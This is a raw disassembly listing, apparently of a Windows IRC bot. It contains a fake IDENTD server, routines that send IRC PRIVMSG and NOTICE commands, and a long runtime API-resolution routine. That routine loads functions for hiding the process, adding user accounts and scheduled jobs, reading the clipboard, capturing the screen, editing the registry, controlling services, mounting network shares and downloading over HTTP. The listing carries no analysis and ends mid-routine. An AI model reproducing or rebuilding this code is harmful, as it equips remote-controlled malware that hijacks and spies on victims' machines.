push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_42EC30 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_405DD4
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_43054C[eax], ebx
lea eax, [ebp+Dst]
push eax
push ebx
call dword_42EBE0 ; bind
cmp eax, 0FFFFFFFFh
jz loc_405DD4
push 5
push ebx
call dword_42EBDC ; listen
cmp eax, 0FFFFFFFFh
jz loc_405DD4
mov [ebp+var_C], edi
mov edi, 200h
loc_405CFE: ; CODE XREF: sub_405C73+EAj
; sub_405C73+14Aj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_42EC44 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_405DCF
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Str]
push offset aIdentdClientCo ; "[IDENTD]: Client connection from IP: %s"...
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push eax
call sub_402D63
add esp, 14h
lea eax, [ebp+Str]
push esi
push edi
push eax
push [ebp+var_4]
call dword_42EBCC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_405CFE
lea eax, [ebp+Str]
push esi ; int
push eax ; Str
call sub_406E70
push 0Ch ; Size
lea eax, [ebp+Dest]
push esi ; Val
push eax ; Dst
call _memset
push esi ; Str1
push esi ; int
lea eax, [ebp+Dest]
push 2 ; int
push eax ; Dest
call sub_40FA38
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 34h
lea eax, [ebp+Str]
push esi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_4]
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz loc_405CFE
mov [ebp+var_8], 1
jmp loc_405CFE
; ---------------------------------------------------------------------------
loc_405DCF: ; CODE XREF: sub_405C73+A0j
cmp [ebp+var_8], esi
jnz short loc_405DFB
loc_405DD4: ; CODE XREF: sub_405C73+47j
; sub_405C73+6Bj ...
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+Str]
push offset aIdentdErrorSer ; "[IDENTD]: Error: server failed, returne"...
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push eax
call sub_402D63
add esp, 10h
loc_405DFB: ; CODE XREF: sub_405C73+15Fj
push ebx
call dword_42EC48 ; closesocket
push [ebp+var_4]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call sub_411F56
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
pop ebx
sub_405C73 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_405E1E(int,char *Format,char Args)
sub_405E1E proc near ; CODE XREF: sub_4093DF+3Dp
; sub_409557+1CBp ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Format = dword ptr 0Ch
Args = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+Args]
push eax ; Args
lea eax, [ebp+Dest]
push [ebp+Format] ; Format
push 200h ; Count
push eax ; Dest
call __vsnprintf
add esp, 10h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_42EC00 ; send
leave
retn
sub_405E1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_405E64(int,char *Str,int,int,int)
sub_405E64 proc near ; CODE XREF: sub_4013EE+314p
; .text:00401A07p ...
var_400 = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_405E7F
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_405E7F: ; CODE XREF: sub_405E64+14j
push edi ; Str
call _strlen
push [ebp+Str] ; Str
mov esi, 1FAh
sub esi, eax
call _strlen
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_2 ; "%s"
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+Dest]
push [ebp+Str]
push edi
push offset aSSS ; "%s %s :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 2Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_42EC00 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_405EFD
push 7D0h
call ds:dword_41B048 ; Sleep
locret_405EFD: ; CODE XREF: sub_405E64+8Cj
leave
retn
sub_405E64 endp
; =============== S U B R O U T I N E =======================================
sub_405EFF proc near ; CODE XREF: WinMain(x,x,x,x)+4Bp
push ebx
push ebp
mov ebp, ds:dword_41B0CC
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, ds:dword_41B0C8
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_40601F
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_42EC5C, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_42EBD4, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_42EBB8, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_42EAE4, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_42EA94, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_42EAC0, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_42EB30, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_42EC10, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_42EC6C, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_42EAF0, eax
call esi ; GetProcAddress
cmp dword_42EC5C, ebx
mov dword_42EAD8, eax
jz short loc_405FFD
cmp dword_42EBD4, ebx
jz short loc_405FFD
cmp dword_42EBB8, ebx
jz short loc_405FFD
cmp dword_42EAE4, ebx
jz short loc_405FFD
cmp dword_42EAC0, ebx
jz short loc_405FFD
cmp dword_42EB30, ebx
jz short loc_405FFD
cmp dword_42EC10, ebx
jz short loc_405FFD
cmp dword_42EC6C, ebx
jz short loc_405FFD
cmp dword_42EAF0, ebx
jz short loc_405FFD
cmp eax, ebx
jnz short loc_406007
loc_405FFD: ; CODE XREF: sub_405EFF+B8j
; sub_405EFF+C0j ...
mov dword_42EC70, 1
loc_406007: ; CODE XREF: sub_405EFF+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_42EBE8, eax
jz short loc_406034
push 1
push ebx
call eax ; GetDiskFreeSpaceExA
jmp short loc_406034
; ---------------------------------------------------------------------------
loc_40601F: ; CODE XREF: sub_405EFF+1Dj
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42EC74, eax
mov dword_42EC70, 1
loc_406034: ; CODE XREF: sub_405EFF+117j
; sub_405EFF+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_41B0C4 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4060EF
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_42EC0C, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_42EBC0, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_42EB58, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_42EC60, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_42EB84, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_42EBA4, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_42EC04, eax
call esi ; GetProcAddress
cmp dword_42EC0C, ebx
mov dword_42EB0C, eax
jz short loc_4060FA
cmp dword_42EBC0, ebx
jz short loc_4060FA
cmp dword_42EB58, ebx
jz short loc_4060FA
cmp dword_42EC60, ebx
jz short loc_4060FA
cmp dword_42EB84, ebx
jz short loc_4060FA
cmp dword_42EBA4, ebx
jz short loc_4060FA
cmp dword_42EC04, ebx
jz short loc_4060FA
cmp eax, ebx
jnz short loc_406104
jmp short loc_4060FA
; ---------------------------------------------------------------------------
loc_4060EF: ; CODE XREF: sub_405EFF+144j
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42EC7C, eax
loc_4060FA: ; CODE XREF: sub_405EFF+1B8j
; sub_405EFF+1C0j ...
mov dword_42EC78, 1
loc_406104: ; CODE XREF: sub_405EFF+1ECj
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_40629F
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_42EC20, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_42EB6C, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_42EBD8, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_42EAD0, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_42EB2C, eax
call esi ; GetProcAddress
cmp dword_42EC20, ebx
mov dword_42EB90, eax
jz short loc_40618F
cmp dword_42EB6C, ebx
jz short loc_40618F
cmp dword_42EBD8, ebx
jz short loc_40618F
cmp dword_42EAD0, ebx
jz short loc_40618F
cmp dword_42EB2C, ebx
jz short loc_40618F
cmp eax, ebx
jnz short loc_406199
loc_40618F: ; CODE XREF: sub_405EFF+26Aj
; sub_405EFF+272j ...
mov dword_42EC80, 1
loc_406199: ; CODE XREF: sub_405EFF+28Ej
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_42EB98, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_42EB74, eax
call esi ; GetProcAddress
cmp dword_42EB98, ebx
mov dword_42EC1C, eax
jz short loc_4061D4
cmp dword_42EB74, ebx
jz short loc_4061D4
cmp eax, ebx
jnz short loc_4061DE
loc_4061D4: ; CODE XREF: sub_405EFF+2C7j
; sub_405EFF+2CFj
mov dword_42EC80, 1
loc_4061DE: ; CODE XREF: sub_405EFF+2D3j
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_42EBA8, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_42EAAC, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_42EAB4, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_42EB14, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_42EB18, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_42EAC8, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_42EB78, eax
call esi ; GetProcAddress
cmp dword_42EBA8, ebx
mov dword_42EAB8, eax
jz short loc_406282
cmp dword_42EAAC, ebx
jz short loc_406282
cmp dword_42EAB4, ebx
jz short loc_406282
cmp dword_42EB14, ebx
jz short loc_406282
cmp dword_42EB18, ebx
jz short loc_406282
cmp dword_42EAC8, ebx
jz short loc_406282
cmp dword_42EB78, ebx
jz short loc_406282
cmp eax, ebx
jnz short loc_40628C
loc_406282: ; CODE XREF: sub_405EFF+34Dj
; sub_405EFF+355j ...
mov dword_42EC80, 1
loc_40628C: ; CODE XREF: sub_405EFF+381j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_42EAB0, eax
jnz short loc_4062B4
jmp short loc_4062AA
; ---------------------------------------------------------------------------
loc_40629F: ; CODE XREF: sub_405EFF+210j
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42EC84, eax
loc_4062AA: ; CODE XREF: sub_405EFF+39Ej
mov dword_42EC80, 1
loc_4062B4: ; CODE XREF: sub_405EFF+39Cj
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_406380
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_42EBA0, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_42EBF4, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_42EBFC, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_42EBBC, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_42EAF4, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_42EAA4, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_42EBF8, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_42EA90, eax
call esi ; GetProcAddress
cmp dword_42EBA0, ebx
mov dword_42EB24, eax
jz short loc_40638B
cmp dword_42EBF4, ebx
jz short loc_40638B
cmp dword_42EBFC, ebx
jz short loc_40638B
cmp dword_42EBBC, ebx
jz short loc_40638B
cmp dword_42EAF4, ebx
jz short loc_40638B
cmp dword_42EAA4, ebx
jz short loc_40638B
cmp dword_42EBF8, ebx
jz short loc_40638B
cmp dword_42EA90, ebx
jz short loc_40638B
cmp eax, ebx
jnz short loc_406395
jmp short loc_40638B
; ---------------------------------------------------------------------------
loc_406380: ; CODE XREF: sub_405EFF+3C0j
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42EC8C, eax
loc_40638B: ; CODE XREF: sub_405EFF+441j
; sub_405EFF+449j ...
mov dword_42EC88, 1
loc_406395: ; CODE XREF: sub_405EFF+47Dj
mov ebp, ds:dword_41B0C4
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_406651
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_42EB38, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_42EC54, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_42EAE0, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_42EABC, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_42EB64, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_42EB50, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_42EB20, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_42EC30, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_42EC4C, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_42EB60, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_42EC3C, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_42EBF0, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_42EBB4, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_42EBB0, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_42EB00, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_42EAF8, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_42EC00, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_42EC14, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_42EBCC, eax
call esi ; GetProcAddress
mov dword_42EB8C, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_42EBE0, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_42EB9C, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_42EBDC, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_42EC44, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_42EB94, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_42EB5C, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_42EBC8, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_42EC34, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_42EB70, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_42EB1C, eax
call esi ; GetProcAddress
cmp dword_42EB38, ebx
mov dword_42EC48, eax
jz loc_40665C
cmp dword_42EC54, ebx
jz loc_40665C
cmp dword_42EAE0, ebx
jz loc_40665C
cmp dword_42EB64, ebx
jz loc_40665C
cmp dword_42EB50, ebx
jz loc_40665C
cmp dword_42EB20, ebx
jz loc_40665C
cmp dword_42EC30, ebx
jz loc_40665C
cmp dword_42EC4C, ebx
jz loc_40665C
cmp dword_42EB60, ebx
jz loc_40665C
cmp dword_42EC3C, ebx
jz loc_40665C
cmp dword_42EBF0, ebx
jz loc_40665C
cmp dword_42EBB4, ebx
jz loc_40665C
cmp dword_42EBB0, ebx
jz loc_40665C
cmp dword_42EB00, ebx
jz short loc_40665C
cmp dword_42EC00, ebx
jz short loc_40665C
cmp dword_42EC14, ebx
jz short loc_40665C
cmp dword_42EBCC, ebx
jz short loc_40665C
cmp dword_42EB8C, ebx
jz short loc_40665C
cmp dword_42EBE0, ebx
jz short loc_40665C
cmp dword_42EB9C, ebx
jz short loc_40665C
cmp dword_42EBDC, ebx
jz short loc_40665C
cmp dword_42EC44, ebx
jz short loc_40665C
cmp dword_42EB94, ebx
jz short loc_40665C
cmp dword_42EB5C, ebx
jz short loc_40665C
cmp dword_42EBC8, ebx
jz short loc_40665C
cmp dword_42EC34, ebx
jz short loc_40665C
cmp dword_42EB70, ebx
jz short loc_40665C
cmp eax, ebx
jnz short loc_406666
jmp short loc_40665C
; ---------------------------------------------------------------------------
loc_406651: ; CODE XREF: sub_405EFF+4A7j
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42EC94, eax
loc_40665C: ; CODE XREF: sub_405EFF+646j
; sub_405EFF+652j ...
mov dword_42EC90, 1
loc_406666: ; CODE XREF: sub_405EFF+74Ej
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40676B
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_42EB08, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_42EA98, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_42EB80, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_42EB3C, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_42EB88, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_42EB54, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_42EAD4, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_42EACC, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_42EADC, eax
call esi ; GetProcAddress
cmp dword_42EB08, ebx
mov ecx, dword_42EB54
mov dword_42EBE4, eax
jz short loc_406747
cmp dword_42EA98, ebx
jz short loc_406747
cmp dword_42EB80, ebx
jz short loc_406747
cmp dword_42EB3C, ebx
jz short loc_406747
cmp dword_42EB88, ebx
jz short loc_406747
cmp ecx, ebx
jz short loc_406747
cmp dword_42EAD4, ebx
jz short loc_406747
cmp dword_42EACC, ebx
jz short loc_406747
cmp dword_42EADC, ebx
jz short loc_406747
cmp eax, ebx
jnz short loc_406751
loc_406747: ; CODE XREF: sub_405EFF+806j
; sub_405EFF+80Ej ...
mov dword_42EC98, 1
loc_406751: ; CODE XREF: sub_405EFF+846j
cmp ecx, ebx
jz short loc_406786
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_42EB68, eax
jnz short loc_406786
jmp short loc_406780
; ---------------------------------------------------------------------------
loc_40676B: ; CODE XREF: sub_405EFF+772j
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42EC9C, eax
mov dword_42EC98, 1
loc_406780: ; CODE XREF: sub_405EFF+86Aj
mov dword_42EB68, ebx
loc_406786: ; CODE XREF: sub_405EFF+854j
; sub_405EFF+868j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4067D0
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_42EB48, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_42EC68, eax
call esi ; GetProcAddress
cmp dword_42EB48, ebx
mov dword_42EAE8, eax
jz short loc_4067DB
cmp dword_42EC68, ebx
jz short loc_4067DB
cmp eax, ebx
jnz short loc_4067E5
jmp short loc_4067DB
; ---------------------------------------------------------------------------
loc_4067D0: ; CODE XREF: sub_405EFF+892j
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42ECA4, eax
loc_4067DB: ; CODE XREF: sub_405EFF+8C1j
; sub_405EFF+8C9j ...
mov dword_42ECA0, 1
loc_4067E5: ; CODE XREF: sub_405EFF+8CDj
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4068DB
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_42EAC4, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_42EAA0, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_42EB10, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_42EB40, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_42EC40, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_42EAFC, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_42EAA8, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_42EA9C, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_42EB28, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_42EC08, eax
call esi ; GetProcAddress
cmp dword_42EAC4, ebx
mov dword_42EBC4, eax
jz short loc_4068E6
cmp dword_42EAA0, ebx
jz short loc_4068E6
cmp dword_42EB10, ebx
jz short loc_4068E6
cmp dword_42EB40, ebx
jz short loc_4068E6
cmp dword_42EC40, ebx
jz short loc_4068E6
cmp dword_42EAFC, ebx
jz short loc_4068E6
cmp dword_42EAA8, ebx
jz short loc_4068E6
cmp dword_42EA9C, ebx
jz short loc_4068E6
cmp dword_42EB28, ebx
jz short loc_4068E6
cmp dword_42EC08, ebx
jz short loc_4068E6
cmp eax, ebx
jnz short loc_4068F0
jmp short loc_4068E6
; ---------------------------------------------------------------------------
loc_4068DB: ; CODE XREF: sub_405EFF+8F1j
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42ECAC, eax
loc_4068E6: ; CODE XREF: sub_405EFF+98Cj
; sub_405EFF+994j ...
mov dword_42ECA8, 1
loc_4068F0: ; CODE XREF: sub_405EFF+9D8j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_406925
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_42EAEC, eax
call esi ; GetProcAddress
cmp dword_42EAEC, ebx
mov dword_42EBAC, eax
jz short loc_406930
cmp eax, ebx
jnz short loc_40693A
jmp short loc_406930
; ---------------------------------------------------------------------------
loc_406925: ; CODE XREF: sub_405EFF+9FCj
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42ECB4, eax
loc_406930: ; CODE XREF: sub_405EFF+A1Ej
; sub_405EFF+A24j
mov dword_42ECB0, 1
loc_40693A: ; CODE XREF: sub_405EFF+A22j
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40696F
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_42EC2C, eax
call esi ; GetProcAddress
cmp dword_42EC2C, ebx
mov dword_42EC28, eax
jz short loc_40697A
cmp eax, ebx
jnz short loc_406984
jmp short loc_40697A
; ---------------------------------------------------------------------------
loc_40696F: ; CODE XREF: sub_405EFF+A46j
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42ECBC, eax
loc_40697A: ; CODE XREF: sub_405EFF+A68j
; sub_405EFF+A6Ej
mov dword_42ECB8, 1
loc_406984: ; CODE XREF: sub_405EFF+A6Cj
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4069E3
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_42EC58, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_42EC50, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_42EC18, eax
call esi ; GetProcAddress
cmp dword_42EC58, ebx
mov dword_42EB04, eax
jz short loc_4069EE
cmp dword_42EC50, ebx
jz short loc_4069EE
cmp dword_42EC18, ebx
jz short loc_4069EE
cmp eax, ebx
jnz short loc_4069F8
jmp short loc_4069EE
; ---------------------------------------------------------------------------
loc_4069E3: ; CODE XREF: sub_405EFF+A90j
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42ECC4, eax
loc_4069EE: ; CODE XREF: sub_405EFF+ACCj
; sub_405EFF+AD4j ...
mov dword_42ECC0, 1
loc_4069F8: ; CODE XREF: sub_405EFF+AE0j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_406A2D
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_42EB34, eax
call esi ; GetProcAddress
cmp dword_42EB34, ebx
mov dword_42EC24, eax
jz short loc_406A38
cmp eax, ebx
jnz short loc_406A42
jmp short loc_406A38
; ---------------------------------------------------------------------------
loc_406A2D: ; CODE XREF: sub_405EFF+B04j
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42ECCC, eax
loc_406A38: ; CODE XREF: sub_405EFF+B26j
; sub_405EFF+B2Cj
mov dword_42ECC8, 1
loc_406A42: ; CODE XREF: sub_405EFF+B2Aj
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_406ACB
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
